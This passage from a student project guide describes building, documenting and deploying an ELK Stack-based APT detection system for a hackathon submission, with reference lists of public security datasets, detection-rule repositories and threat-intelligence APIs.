| Beats | Deploy agents on more endpoints |
| Kibana | Enable multiple dashboards for different teams |

🧩 *Reference:*  
📘 [Elasticsearch Cluster Setup Guide](https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-node.html)

**🔐 Step 9.5 — Security Hardening**

Because this is a **cybersecurity project**, securing your ELK deployment is critical.

**Recommended Security Measures**

* Enable **TLS/SSL** for Elasticsearch and Kibana connections.
* Add **authentication (X-Pack)** for admin access.
* Limit access ports via firewall:
* sudo ufw allow 5601/tcp
* sudo ufw allow 9200/tcp
* Regularly patch OS and dependencies.

🧩 *Reference:*  
📘 [Elastic Security Best Practices](https://www.elastic.co/guide/en/elastic-stack-get-started/current/security-get-started.html)

**🎯 Step 9 Summary**

| **Aspect** | **Goal** | **Tools** |
| --- | --- | --- |
| **Deployment** | Run system on local/cloud | Docker, Elastic Cloud |
| **Rule Updates** | Continuous detection tuning | MITRE, Sigma, GitHub |
| **Maintenance** | Keep logs and alerts accurate | Snapshot backups |
| **Scalability** | Handle larger data | Multi-node setup |
| **Security** | Protect access | TLS, Auth, Firewall |

**🏁 End Result**

Once this final step is done —  
you’ll have a **fully functioning, production-grade APT Detection System** built on ELK Stack that:

* Detects real attacks (APT samples or simulated)
* Visualizes attack patterns in dashboards
* Alerts security teams instantly
* Can scale and stay updated with new threats

**🗂️ Step 10 — Final Output, Packaging & Submission Readiness**

This step ensures that:

* Your ELK-based APT detection system is **well-organized, documented, and easy to run**,
* You have **submission artifacts** (video, report, and code), and
* You’re ready for **judging, evaluation, and deployment hand-off**.

**🧩 Step 10.1 — Folder Structure (Final Layout)**

ELK-APTGuard/

├── docker-compose.yml

├── README.md

├── /beats\_configs/

│ ├── filebeat.yml

│ ├── winlogbeat.yml

│ └── suricata.conf

├── /logstash/

│ ├── pipeline/

│ │ ├── 05-normalization.conf

│ │ ├── 05-enrichment.conf

│ │ └── 05-output.conf

│ └── config/logstash.yml

├── /rules/

│ ├── detection\_rules.json

│ └── mitre\_mapping.csv

├── /docs/

│ ├── architecture.png

│ ├── dashboard.png

│ ├── alert\_demo.mp4

│ ├── SIH\_Presentation.pptx

│ ├── system\_flowchart.pdf

│ └── user\_manual.pdf

└── /scripts/

├── auto\_backup.sh

├── update\_rules.py

└── alert\_webhook.py

Everything the judges or mentors need should run from this structure.

**🧠 Step 10.2 — Documentation Essentials**

**1️⃣ README.md (Main Document)**

Include:

* Project summary & purpose
* System architecture diagram
* Installation instructions (Docker + Elastic Cloud)
* Usage guide (How to trigger APT samples and view alerts)
* Contributors + Mentor names
* License (MIT / Apache 2.0)

🧩 Example template:  
👉 [GitHub README Template](https://github.com/othneildrew/Best-README-Template)

**2️⃣ User Manual**

Explain:

* How to start all containers
* How to add new rules
* How to simulate an attack
* How to view dashboards
* How to export results or alerts

🧩 Example layout:  
[Elastic Docs → Kibana Guide](https://www.elastic.co/guide/en/kibana/current/index.html)

**3️⃣ Technical Report / Synopsis (2 pages)**

Sections:

1. **Problem Statement & Motivation**
2. **Proposed System Architecture**
3. **Implementation (ELK Stack, Rules, Dashboards)**
4. **Demo Scenario & Results**
5. **Future Enhancements**

🧩 Reference: [IEEE Project Report Format](https://www.ieee.org/conferences/publishing/templates.html)

**🎥 Step 10.3 — Demo Video (30–90 Seconds)**

**Recommended sequence:**

1. Title card with project name & team.
2. Show simulated attack (Atomic Red Team / PowerShell).
3. Show live alert triggering in Kibana.
4. Show dashboard visualization.
5. End with system summary & team credits.

Tools: OBS Studio / ScreenPal / Canva Video Editor.  
Compress via HandBrake to ≤ 100 MB for submission.

**🧰 Step 10.4 — Testing Checklist**

| **Category** | **What to Verify** |
| --- | --- |
| **Log Ingestion** | Beats forwarding logs correctly |
| **Parsing & Normalization** | Logstash rules work on all input types |
| **Elasticsearch Indexing** | New data visible within 1 sec |
| **Detection Rules** | Alerts trigger > 90 % accuracy |
| **Dashboards** | Graphs auto-refresh |
| **Security** | Kibana password enabled |
| **Backup** | auto\_backup.sh runs weekly |
| **Performance** | < 2 sec latency for 5 k logs / sec |

**🧩 Step 10.5 — Evaluation Criteria Mapping (SIH Judging)**

| **SIH Parameter** | **How You Address It** |
| --- | --- |
| **Innovation** | Custom APT detection rules (MITRE ATT&CK-mapped) |
| **Relevance** | Detects real national-level cyber threats |
| **Feasibility** | Built on open-source ELK Stack + Docker |
| **Implementation** | End-to-end pipeline + demo alerts |
| **Scalability** | Supports multi-node Elastic Cluster |
| **Impact** | Early APT detection → national cyber resilience |

**📦 Step 10.6 — Submission Package**

Bundle all into a .zip file:

ELK-APTGuard\_Submission.zip

├── docs/

│ ├── SIH\_Presentation.pptx

│ ├── Technical\_Report.pdf

│ ├── architecture.png

│ └── demo\_video.mp4

├── source\_code/

│ ├── docker-compose.yml

│ ├── beats\_configs/

│ └── logstash/

└── README.md

**🏁 Step 10.7 — Final Review Checklist ✅**

| **Check** | **Status** |
| --- | --- |
| Architecture diagram included | ✔️ |
| Working Docker deployment | ✔️ |
| At least 3 rules detecting APT behaviors | ✔️ |
| Dashboard visualizations ready | ✔️ |
| Video demo recorded | ✔️ |
| Report & PPT formatted | ✔️ |
| Team prepared for Q&A | ✔️ |

**🧠 Step 10.8 — Pro Tip for Q&A**

**Judge:** “How does your system differ from a normal ELK setup?”  
**You:** “We customized ELK with **APT-specific detection rules**, **MITRE ATT&CK mapping**, and **threat-intel enrichment** — transforming it from a generic log tool into an actionable APT defense framework.”

**☁️ Step 11 — Final Deployment Architecture (Hybrid: Local + Cloud)**

**🎯 Goal**

To design and deploy your project in a way that:

* Works **locally** (for development & demo)
* Scales **on the cloud** (for real-world deployment)
* Supports **centralized threat detection** for multiple endpoints

**🧩 Architecture Overview**

**💡 Concept**

Your **APT Detection System** built on **ELK Stack** runs as a **centralized threat-monitoring hub**.  
Logs come from multiple **sources (servers, endpoints, and sensors)** → are collected and normalized by **Logstash** → stored and analyzed in **Elasticsearch** → visualized and alerted via **Kibana**.

**🏗️ System Components and Flow**

┌────────────────────────┐

│ Cloud (Elastic Cloud / AWS EC2) │

│────────────────────────│

│ Elasticsearch Cluster │

│ Kibana (Dashboard) │

│ Detection Rules (MITRE)│

│ Alert Engine (Webhook/API) │

└────────────▲───────────┘

│

Alert & Detection │

│

┌──────────────────────────────────────────────┐

│ Local Environment (On-Premises / Laptops) │

│──────────────────────────────────────────────│

│ ┌───────────────┐ ┌──────────────┐ │

│ │ Log Sources │ → │ Log Shippers │ │

│ │ (Suricata, OS, │ │ (Filebeat, │ │

│ │ Winlogbeat) │ │ Winlogbeat) │ │

│ └───────────────┘ └──────────────┘ │

│ │ │ │

│ ▼ ▼ │

│ ┌────────────────────────────┐ │

│ │ Logstash (Parsing, │ │

│ │ Normalization, Enrich) │ │

│ └──────────────▲─────────────┘ │

│ │ │

│ Threat Rules JSON │ │

└───────────────────────┘ │

│

▼

┌────────────────────────┐

│ Security Analyst Tools │

│ Kibana Dashboards, Maps│

│, Alerts & Reports │

└────────────────────────┘

**⚙️ Component Breakdown**

| **Component** | **Description** | **Example Tools** |
| --- | --- | --- |
| **Data Sources** | Generate system/network logs. | Suricata, Windows Event Viewer, Linux syslog |
| **Log Shippers** | Forward logs securely to Logstash. | Filebeat, Winlogbeat |
| **Logstash** | Parses, enriches, and formats logs. | Logstash + GeoIP + ThreatIntel filter |
| **Elasticsearch** | Stores and indexes data for searching. | Elastic Cloud / Docker Elasticsearch |
| **Detection Rules Engine** | Runs queries to identify suspicious patterns. | Elastic Detection Rules / Sigma Rules |
| **Kibana** | Displays dashboards, alerts, and visual insights. | Elastic Kibana |
| **Alerting Module** | Sends notifications to analysts. | Slack, Email, Webhooks |
| **Security Analyst Dashboard** | Allows analysts to monitor real-time events. | Kibana + MITRE ATT&CK visual overlay |

**☁️ Hybrid Deployment Setup**

| **Environment** | **Purpose** | **Configuration** |
| --- | --- | --- |
| **Local Machine / VM** | Development, testing of Logstash and Beats | Docker setup (or manual install) |
| **Elastic Cloud (or AWS EC2)** | Production deployment of Elasticsearch + Kibana | Free-tier instance / 14-day trial |
| **Integration Bridge** | Secure data flow between local → cloud | Beats output configuration in YAML |
| **Backup Storage** | Store daily index snapshots | S3 bucket / Google Cloud Storage |
| **Access Control** | Manage user roles | Kibana X-Pack Security |

**🔐 Security Layers**

| **Layer** | **Protection Mechanism** |
| --- | --- |
| **Transport Layer** | SSL/TLS between Beats → Logstash → Elasticsearch |
| **Access Layer** | Username/Password, Token-based API |
| **Network Layer** | Firewall rules to restrict open ports |
| **Data Layer** | Encrypted indices (AES256) |
| **Monitoring Layer** | Alerts for failed logins, DoS spikes, or tampering |

**🧠 Bonus: Optional Integrations (For Extra Innovation Marks)**

| **Feature** | **Description** | **Tools** |
| --- | --- | --- |
| **Threat Intel Enrichment** | Compare incoming IPs with known threat lists | AlienVault OTX, AbuseIPDB API |
| **Auto-Mitigate via SOAR** | Run scripts to block malicious IPs automatically | TheHive + Cortex |
| **AI Rule Enhancement** | Add transformer-based anomaly detection | BERT / RoBERTa fine-tuning later |
| **Visualization Add-On** | Interactive heatmap of APT events | Kibana Vega plugin |

**📡 Deployment References and Resources**

1. **Elastic Cloud Setup:**  
   🔗 <https://www.elastic.co/cloud/>
2. **Beats + Logstash Config Tutorial:**  
   🔗 <https://www.elastic.co/guide/en/beats/libbeat/current/beats-reference.html>
3. **Secure Data Flow (TLS + Auth):**  
   🔗 <https://www.elastic.co/guide/en/elasticsearch/reference/current/security-settings.html>
4. **Deploy with Docker Compose:**  
   🔗 <https://www.elastic.co/guide/en/elastic-stack-get-started/current/get-started-docker.html>

**🏁 End Result**

After implementing this deployment architecture:

* All endpoints continuously send logs to a **central cloud ELK cluster**.
* Threat detection rules **identify and alert** suspicious APT-like behavior.
* Security teams **view real-time dashboards and alerts** from any location.
* The system remains **scalable, modular, and easy to maintain**.

**📚 Comprehensive References for APT Log Sources & Tools**

**🧩 1. CIC IDS Datasets (CICIDS2017 / CICIDS2018 / CSE-CIC-IDS2018)**

**Description:** Realistic, labeled network attack traffic (DoS, infiltration, brute force, web attacks, etc.)  
**Use For:** Suricata/Zeek → ELK ingestion → detection rule creation  
🔗 **Link:** [https://www.unb.ca/cic/datasets/ids-2017.html](https://www.unb.ca/cic/datasets/ids-2017.html?utm_source=chatgpt.com)  
🔗 **Alternative Mirror (CSE-CIC-IDS2018):** https://www.unb.ca/cic/datasets/cse-cic-ids2018.html

**🧩 2. LANL (Los Alamos National Laboratory) Cyber Security Datasets**

**Description:** Massive enterprise-scale authentication, process, and network logs from a real network (anonymized).  
**Use For:** Detecting lateral movement, credential misuse, brute force attacks, insider threats.  
🔗 **Link:** https://csr.lanl.gov/data/  
🔗 **Direct Auth Dataset:** [https://csr.lanl.gov/data/auth/](https://csr.lanl.gov/data/auth/?utm_source=chatgpt.com)

**🧩 3. CTU-13 Botnet Dataset**

**Description:** 13 scenarios of botnet, malware, and normal traffic — labeled PCAPs and netflows.  
**Use For:** Botnet communication detection, C2 detection, APT behavior baselining.  
🔗 **Link:** https://www.stratosphereips.org/datasets-ctu13  
🔗 **Mirror (Kaggle):** https://www.kaggle.com/datasets/sohaibmohammed/ctu13-botnet-traffic-dataset

**🧩 4. UNSW-NB15 Dataset**

**Description:** Synthetic network capture with nine attack categories and rich feature sets.  
**Use For:** Training and testing detection pipelines, ML-based intrusion detection.  
🔗 **Link:** [https://research.unsw.edu.au/projects/unsw-nb15-dataset](https://research.unsw.edu.au/projects/unsw-nb15-dataset?utm_source=chatgpt.com)  
🔗 **Kaggle Mirror:** [https://www.kaggle.com/datasets/mrwellsdavid/unsw-nb15](https://www.kaggle.com/datasets/mrwellsdavid/unsw-nb15?utm_source=chatgpt.com)

**🧩 5. MAWI Working Group Traffic Archive**

**Description:** Real-world backbone network traffic from Japan (daily 15-minute captures).  
**Use For:** Background “benign” traffic modeling and anomaly detection.  
🔗 **Link:** [https://mawi.wide.ad.jp/mawi/](https://mawi.wide.ad.jp/mawi/?utm_source=chatgpt.com)

**🧩 6. CAIDA Datasets (Center for Applied Internet Data Analysis)**

**Description:** Internet backbone packet traces (anonymized), DDoS traces, worm propagation data.  
**Use For:** Large-scale analysis, anomaly detection, academic simulations.  
🔗 **Link:** https://www.caida.org/catalog/datasets/

**🧩 7. Cowrie Honeypot Logs**

**Description:** Real SSH/Telnet attacker logs (command history, payloads, session metadata).  
**Use For:** Command analysis, attacker profiling, malicious pattern creation.  
🔗 **GitHub (Project):** [https://github.com/cowrie/cowrie](https://github.com/cowrie/cowrie?utm_source=chatgpt.com)  
🔗 **Cowrie Logs Dataset (Kaggle):** https://www.kaggle.com/datasets/greysky/cowrie-honeypot-log-data  
🔗 **HoneyDB API:** https://riskdiscovery.com/honeydb/

**🧩 8. Microsoft Sysmon Event Logs**

**Description:** Windows system monitoring tool capturing detailed process creation, file access, registry, and network connection logs.  
**Use For:** PowerShell, process injection, credential dumping detection (Winlogbeat input).  
🔗 **Sysmon Download:** [https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon?utm_source=chatgpt.com)  
🔗 **Sysmon Config (SwiftOnSecurity):** <https://github.com/SwiftOnSecurity/sysmon-config>

**🧩 9. Splunk Attack Data Repository (Sysmon Samples)**

**Description:** Public repository of real Windows Event and Sysmon logs mapped to MITRE ATT&CK techniques.  
**Use For:** Creating ground-truth rules for process-based attack detection.  
🔗 **GitHub:** <https://github.com/splunk/attack_data>

**🧩 10. Atomic Red Team**

**Description:** Open-source MITRE ATT&CK test scripts for generating realistic, labeled attack logs (PowerShell, credential dumping, lateral movement, exfiltration).  
**Use For:** Generate fresh APT-style logs in your own lab setup.  
🔗 **GitHub:** [https://github.com/redcanaryco/atomic-red-team](https://github.com/redcanaryco/atomic-red-team?utm_source=chatgpt.com)  
🔗 **Documentation:** https://atomicredteam.io/

**🧩 11. Elastic Sample Data (Kibana)**

**Description:** Built-in demo datasets for Kibana (web logs, ecommerce, flight data).  
**Use For:** Testing ELK dashboards, verifying ingestion and queries.  
🔗 **Docs:** <https://www.elastic.co/guide/en/kibana/current/getting-started.html#add-sample-data>

**🧩 12. PacketTotal and VirusTotal PCAP Repositories**

**Description:** Community-shared PCAPs containing malware, C2, and network traces.  
**Use For:** Running Suricata/Zeek to generate fresh event logs.  
🔗 **PacketTotal:** https://packettotal.com/  
🔗 **VirusTotal PCAPs:** https://www.virustotal.com/gui/home/upload

**🧩 13. Sigma Rules (Detection Rule Framework)**

**Description:** Open-source generic signature format for log events (convertible to ELK).  
**Use For:** Creating and converting new detection rules.  
🔗 **GitHub:** [https://github.com/SigmaHQ/sigma](https://github.com/SigmaHQ/sigma?utm_source=chatgpt.com)  
🔗 **Sigma Conversion Tool (sigmac):** <https://github.com/SigmaHQ/sigma/wiki/Tools#sigmac>

**🧩 14. MITRE ATT&CK Framework**

**Description:** Knowledge base of adversary tactics and techniques used as references for detection rule mapping.  
**Use For:** Tagging alerts (e.g., T1059.001, T1041) in Kibana and documentation.  
🔗 **MITRE ATT&CK Site:** [https://attack.mitre.org/](https://attack.mitre.org/?utm_source=chatgpt.com)  
🔗 **RSS Feed (New Techniques):** https://attack.mitre.org/resources/rss/

**🧩 15. Elastic Stack Documentation**

**Description:** Official guides for Elasticsearch, Logstash, Kibana, and Beats configuration.  
**Use For:** Installation, pipeline setup, dashboard creation, and API integrations.  
🔗 **Elastic Stack Docs Hub:** <https://www.elastic.co/guide/en/elastic-stack/current/index.html>

**🧩 16. Elastic Detection Rules Repository**

**Description:** Official detection rules by Elastic Security Team (MITRE-mapped).  
**Use For:** Base rules + examples to customize for your APT detection use cases.  
🔗 **GitHub:** [https://github.com/elastic/detection-rules](https://github.com/elastic/detection-rules?utm_source=chatgpt.com)

**🧩 17. AbuseIPDB & AlienVault OTX (Threat Intel APIs)**

**Description:** Free APIs for checking malicious IPs, domains, and URLs.  
**Use For:** Enrich logs with external threat intelligence in Logstash.  
🔗 **AbuseIPDB:** https://www.abuseipdb.com/api.html  
🔗 **AlienVault OTX:** https://otx.alienvault.com/api

**🧠 Recommended Log Pipeline Flow Using These Sources**

1. Start with **CIC IDS 2017 / CTU-13 / Cowrie** logs for demo ingestion.
2. Add **LANL authentication logs** for real-world detection rules.
3. Generate synthetic attacks using **Atomic Red Team**.
4. Enrich logs using **AlienVault OTX** or **AbuseIPDB**.
5. Visualize in **Kibana** and tag using **MITRE ATT&CK** IDs.

**✅ Summary — Top Picks for Beginners**

| **Type** | **Dataset** | **Best Use** |
| --- | --- | --- |
| 🌐 Network Logs | CIC IDS 2017 | For Suricata/Zeek-based analysis |
| 🧩 Auth Logs | LANL Dataset | For SSH/brute-force & lateral movement detection |
| 🧠 Simulated APT | Atomic Red Team | For generating labeled attack logs |
| ⚙️ Real Attacks | Cowrie Honeypot | For malicious command & payload logs |
| 📊 Reference | MITRE + Sigma | For creating and mapping detection rules |

**📚 MASTER REFERENCE LIST – ELK-Based APT Detection System**

**🧱 1️⃣ Core ELK Stack & Setup**

* Elastic Stack Documentation →  
  🔗 <https://www.elastic.co/guide/en/elastic-stack/current/index.html>  
  *Main reference for Elasticsearch, Logstash, Kibana, Beats setup & APIs.*
* Elastic Stack Docker Setup →  
  🔗 <https://www.elastic.co/guide/en/elastic-stack-get-started/current/get-started-docker.html>
* Elastic Cloud (hosted Elasticsearch & Kibana) →  
  🔗 <https://www.elastic.co/cloud/>
* Elastic Cloud Quickstart Guide →  
  🔗 <https://www.elastic.co/guide/en/cloud/current/ec-getting-started.html>
* Beats Reference (Filebeat, Winlogbeat, Metricbeat, Packetbeat) →  
  🔗 <https://www.elastic.co/guide/en/beats/libbeat/current/beats-reference.html>

**🔄 2️⃣ Logstash, Pipelines & Enrichment**

* Logstash Filter Plugins Reference →  
  🔗 <https://www.elastic.co/guide/en/logstash/current/filter-plugins.html>
* Logstash GeoIP & ThreatIntel Filter Configs →  
  🔗 <https://www.elastic.co/guide/en/logstash/current/plugins-filters-geoip.html>
* Logstash Security (TLS, Authentication) →  
  🔗 <https://www.elastic.co/guide/en/elasticsearch/reference/current/security-settings.html>

**🧠 3️⃣ MITRE ATT&CK & Detection Rules**

* MITRE ATT&CK Knowledge Base →  
  🔗 [https://attack.mitre.org/](https://attack.mitre.org/?utm_source=chatgpt.com)
* MITRE ATT&CK RSS Feed (updates) →  
  🔗 https://attack.mitre.org/resources/rss/
* SigmaHQ Generic Detection Rules →  
  🔗 [https://github.com/SigmaHQ/sigma](https://github.com/SigmaHQ/sigma?utm_source=chatgpt.com)
* Sigmac Rule Conversion Tool →  
  🔗 <https://github.com/SigmaHQ/sigma/wiki/Tools#sigmac>
* Elastic Detection Rules Repository (MITRE-mapped) →  
  🔗 [https://github.com/elastic/detection-rules](https://github.com/elastic/detection-rules?utm_source=chatgpt.com)

**🧩 4️⃣ Threat Intelligence Integrations**

* AbuseIPDB API (IP reputation) →  
  🔗 https://www.abuseipdb.com/api.html
* AlienVault OTX (Open Threat Exchange) →  
  🔗 https://otx.alienvault.com/api

**🧰 5️⃣ Simulation & Attack Generation**

* Atomic Red Team (ATT&CK Technique Emulation Scripts) →  
  🔗 [https://github.com/redcanaryco/atomic-red-team](https://github.com/redcanaryco/atomic-red-team?utm_source=chatgpt.com)  
  🔗 https://atomicredteam.io/

**🧪 6️⃣ Public Datasets & Log Sources**

| **#** | **Dataset / Source** | **Description** | **Link** |
| --- | --- | --- | --- |
| 1 | **CIC IDS 2017 / 2018** | Realistic labeled network attacks | [https://www.unb.ca/cic/datasets/ids-2017.html](https://www.unb.ca/cic/datasets/ids-2017.html?utm_source=chatgpt.com) |
| 2 | **LANL Cybersecurity Datasets** | Auth & event logs from enterprise network | https://csr.lanl.gov/data/ |
| 3 | **CTU-13 Botnet Dataset** | 13 labeled botnet scenarios | https://www.stratosphereips.org/datasets-ctu13 |
| 4 | **UNSW-NB15** | Academic dataset with 9 attack categories | [https://research.unsw.edu.au/projects/unsw-nb15-dataset](https://research.unsw.edu.au/projects/unsw-nb15-dataset?utm_source=chatgpt.com) |
| 5 | **MAWI Working Group Archive** | Real backbone network traces | [https://mawi.wide.ad.jp/mawi/](https://mawi.wide.ad.jp/mawi/?utm_source=chatgpt.com) |
| 6 | **CAIDA Anonymized Traces** | Internet-scale PCAPs & DDoS traces | https://www.caida.org/catalog/datasets/ |
| 7 | **Cowrie Honeypot Logs** | SSH/Telnet attack session logs | [https://github.com/cowrie/cowrie](https://github.com/cowrie/cowrie?utm_source=chatgpt.com) / https://www.kaggle.com/datasets/greysky/cowrie-honeypot-log-data |
| 8 | **Sysmon (System Monitor)** | Windows event monitoring tool | [https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon](https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon?utm_source=chatgpt.com) |
| 9 | **Sysmon Config by SwiftOnSecurity** | Hardened config for Sysmon logs | <https://github.com/SwiftOnSecurity/sysmon-config> |
| 10 | **Splunk Attack Data Repo** | Labeled Sysmon/ATT&CK samples | <https://github.com/splunk/attack_data> |
| 11 | **Elastic Sample Data (Kibana)** | Demo datasets for dashboard testing | <https://www.elastic.co/guide/en/kibana/current/getting-started.html#add-sample-data> |
| 12 | **PacketTotal PCAP Repo** | Public malware & network pcaps | https://packettotal.com/ |
| 13 | **VirusTotal PCAP Uploads** | Analyze and download pcap files | https://www.virustotal.com/gui/home/upload |

**📊 7️⃣ Visualization & Analytics**

* Kibana Visualization Guide →  
  🔗 <https://www.elastic.co/guide/en/kibana/current/index.html>
* Vega Visualization Plugin (for Kibana heatmaps) →  
  🔗 <https://www.elastic.co/guide/en/kibana/current/vega-graph.html>

**🔐 8️⃣ Security & Hardening**

* Elastic Security Best Practices →  
  🔗 <https://www.elastic.co/guide/en/elastic-stack-get-started/current/security-get-started.html>
* Elasticsearch Snapshot & Restore (Backups) →  
  🔗 <https://www.elastic.co/guide/en/elasticsearch/reference/current/snapshots-take-snapshot.html>
* Elasticsearch Cluster Setup (Scaling) →  
  🔗 <https://www.elastic.co/guide/en/elasticsearch/reference/current/modules-node.html>

**🧩 9️⃣ Report & Documentation Templates**

* GitHub README Template (Best README Template Repo) →  
  🔗 <https://github.com/othneildrew/Best-README-Template>
* IEEE Report Template (Conference Paper Format) →  
  🔗 <https://www.ieee.org/conferences/publishing/templates.html>

**🧠 🔟 Bonus Learning Resources**

* Elastic Security Hands-On Lab (Free sandbox) →  
  🔗 https://securitylabs.elastic.co/
* Suricata Documentation & Eve.json Format Reference →  
  🔗 [https://docs.suricata.io/](https://docs.suricata.io/?utm_source=chatgpt.com)
* Zeek (Network Security Monitor) Docs →  
  🔗 https://docs.zeek.org/en/current/
* TheHive + Cortex (SOAR integration for auto-response) →  
  🔗 https://thehive-project.org/

**✅ Summary of Categories**

| **Category** | **Key References** |
| --- | --- |
| **Core ELK Stack** | Elastic Docs, Docker, Cloud |
| **Log Processing & Security** | Logstash Filters, Beats Reference |
| **Detection Rules & Frameworks** | MITRE ATT&CK, SigmaHQ, Elastic Detection Rules |
| **Threat Intel** | AbuseIPDB, AlienVault OTX |
| **APT Simulation & Emulation** | Atomic Red Team |
| **Datasets & Logs** | CIC IDS, LANL, CTU-13, UNSW-NB15, Cowrie, Sysmon |
| **Visualization** | Kibana & Vega |
| **Security Hardening** | Elastic Security Guides, Snapshots, TLS |
| **Documentation** | GitHub README, IEEE Template |
| **Advanced Integrations** | TheHive, Suricata, Zeek |